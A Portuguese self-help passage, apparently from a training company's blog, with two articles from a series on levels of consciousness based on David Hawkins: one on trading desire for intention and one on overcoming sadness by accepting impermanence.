Aquilo que está no garfo passa a ser obsoleto quando entra na boca e o objeto de desejo é projetado no que está no prato.

E assim sucessivamente até vermos o fim da refeição. E, logo, vamos querer fazer algo diferente.

Como se desprender do desejo e ser mais feliz?

Para quebrarmos essas correntes que nos mantêm presos nas masmorras dos estímulos sensoriais, devemos trocar desejo por intenção.

A intenção, diferente do desejo, leva em consideração as infinitas possibilidades do contexto. 

Ela sabe que o máximo que podemos fazer é focarmos em nossa intenção (já que o que mantemos em mente tende a se manifestar) e dar o nosso melhor para contribuir com a realização.

O resultado não depende só de nós, mas também das condições e do contexto para se concretizar.

Por isso a intenção é desapegada do resultado. É uma preferência, ao invés de uma autoimposição que gera autopunição se não alcançada.

Benefícios de trocar desejo por intenção.

O ser que se mantém em intenção ao invés de desejo vive um estilo de vida de alegria e gratidão.

Não há reclamação caso não aconteça o resultado, pois respeita o ritmo natural da vida.

O foco é voltado em aproveitar a jornada ao invés de ansiar a chegada ao destino.

  • Desejo é escravidão. Intenção é liberdade.
  • O desejo precisa. A intenção prefere.
  • Desejo considera apenas os seus prazeres. Intenção respeita todos a seu redor.
  • O desejo entende que para um ganhar outro tem que perder. A intenção sabe que é possível todos ganharem.
  • Desejo é escassez. Intenção é abundância.
  • Desejo exclui. Intenção inclui.
  • O desejo acredita que quem dá perde. A intenção sabe que é dando que se recebe.

No desejo, o fim justifica os meios. Na intenção, os meios se desdobram nos fins.

Autodesafios: o caminho prático para se libertar do desejo.

Para diminuir a influência do desejo sobre nossos pensamentos e atitudes, é necessário se autodesafiar.

O autodesafio nos faz diminuir os excessos de nossos prazeres e as ausências causadas por nossas aversões, levando ao equilíbrio harmônico.

É possível identificar o que está desequilibrado em cada área da vida e buscar o equilíbrio através da escolha de um exemplo de autodesafio contido nesta lista.

Um autodesafio que atinge o cerne da escravidão gerada pelo desejo é a simples mudanças da sensação emocional e da mentalização de “preciso” para “prefiro”.

É interessante escrever uma lista de tudo que você acredita que precisa e depois reescrevê-la com o “não” na frente do “preciso”, para que você se depare com a verdade do “não preciso”.

Depois, aquilo que realmente você sentir ser importante, pode ser incluído em uma terceira lista com a palavra “prefiro” ao invés de “preciso”.

E, então, dar o seu melhor e focar em agradecer os resultados que a vida te entregar ao invés de reclamar daqueles que ainda não foram permitidos alcançar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa: para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Como se Livrar da tristeza – com base em Dr. David Hawkins

A tristeza é uma reação natural do ego humano que aparece toda vez que nos frustramos sobre uma expectativa.

Ficamos tristes todas as vezes que perdemos algo, alguém, uma posição ou não conseguimos aquilo que queríamos. A tristeza é uma condição de luto.

Por que ela surge? Ela aparece como forma de impotência por não ter conseguido intervir para alcançar um resultado, salvar seu objeto ou manter um relacionamento próximo.

Com isso, ficamos emocionalmente abalados por não sabermos como será o futuro sem aquele algo que nos acompanhou até ali.

Ou, ainda, vivemos na incerteza pelos planos não terem dado certo.

De onde ela surge?

Nosso ego é completamente aversivo à incerteza e é daí que nascem as emoções negativas.

Aversão ao desconhecido. Aversão por não saber se o diferente será tão prazeroso como imaginamos que seria ou como foi no passado.

A tristeza surge da ilusão de que:

  1. Tudo aquilo que imaginamos nas condições perfeitas e possíveis de nossa mente irá se manifestar na realidade (e se não se manifestar seremos infelizes);
  2. Tudo aquilo que possuímos continuará conosco pelo período que acreditamos ser o ideal em nossa mente.

Vamos ver um exemplo de ilusão que gera tristeza:

Quando eu compro um carro, já planejo ficar com ele por uns 3 anos e depois vendê-lo, sem qualquer arranhão, e ganhar um bom dinheiro na venda.

Se algo sair desta expectativa, me frustro e encontro a tristeza.

Pode acontecer do carro:

  • bater,
  • ser roubado,
  • quebrar,
  • sair de linha,
  • ser desvalorizado,
  • ocorrer uma crise econômica,
  • posso não achar um bom comprador,
  • posso ficar sem dinheiro pra completar a entrada para um novo carro.

Ou seja, infinitas possibilidades.

Mas, como em minha mente tudo é perfeito, quero (mimadamente) que tudo saia de acordo com o esperado. Não sairá!

Como, então, diminuir a tristeza em nossas vidas?

Para que possamos diminuir nossas expectativas e tristezas, um bom exercício é perceber que tudo é impermanente.

E, mais do que isso, perceber que tudo acontece por sincronicidade.

Essa sincronicidade está ligada à diversas variáveis. Depende da:

  • intenção de 7 bilhões de pessoas,
  • das culturas e condições sociais de cada ambiente,
  • mais a natureza,
  • mais as condições climáticas e territoriais,
  • e ainda do universo todo se movimentando.

Então, o que tiver que acontecer, irá acontecer para que a sincronia continue perfeita.

Assimilando isso, percebemos que nosso controle sobre as coisas é frágil.

Aí nos aproximamos mais da realidade como ela é, e não como gostaríamos que fosse em nossa imaginação.

Pois, só na imaginação controlamos todas as situações e pessoas do jeito que queremos.

Com esse primeiro discernimento, podemos avaliar o seguinte: nada é propriedade nossa (com total controle).

Apenas exercemos um governo e uma responsabilidade pelas coisas, pessoas e situações que estamos inseridos, enquanto a sincronia da vida permite.

São pequenos mimos que recebemos da vida por um período para que possamos desfrutar de prazeres.

Por isso, se essas condições forem supervalorizadas, no momento onde esses mimos tiverem que se separar de nós, vão nos fazer chorar, gritar e berrar, como uma criança birrenta.

Pergunte a si mesmo: quem está lidando com a perda que causa tristeza?

Vale então se perguntar: quem é que está lidando com essa perda, o adulto maduro ou a criança mimada dentro de mim?

O adulto maduro percebe a perda como algo natural da vida que muda a todo instante e, por mais que sofra, encara aquilo com coragem de seguir em frente.

A criança mimada já acha que o mundo dela acabou. Acha que nunca mais será feliz, que a vida é injusta, que Deus está punindo, etc etc etc. Acredita em “história para boi dormir”.

E por isso vem a tristeza. Entendendo que tudo é impermanente e estamos exercendo uma responsabilidade temporária, podemos trocar expectativas de cenários ideais por intenções reais.

Abrindo mão, deixando ir.

É necessário abrir mão de posturas como:

  • “tenho que proteger isso (pessoa, coisa, situação, ideia, opinião, expectativa) com unhas e dentes”.
  • “isso é meu e tem que durar o quanto eu quero” — reação da inconsciência animal emocional.

Assim, passo a exercer o: “vou dar meu melhor para desfrutar disso enquanto me for permitido” — intenção da consciência humana racional.

Essa abordagem — com base na realidade como ela se manifesta — nos protege de acreditar nos véus de ilusão que nos permitimos colocar através das sugestões incansáveis de nossa mente tagarela e desesperada.

Afinal, esses véus ilusórios foram criados simplesmente pelas projeções de expectativas de nossos círculos sociais sobre nós e pelos ideais inconscientes culturais de nossa sociedade.

Agora que entende um pouco melhor o que é a tristeza, segue uma sugestão: se você quiser realizar outras práticas para complementar a abordada neste artigo, pode visitar a página de Autodesafios© Pandora Treinamentos e verificar qual área da sua vida está passando por dificuldades e que você gostaria de ajustar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar?

08. Coragem é a base do sucesso.

09. A neutralidade nos ajudar a não sofrer.  

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual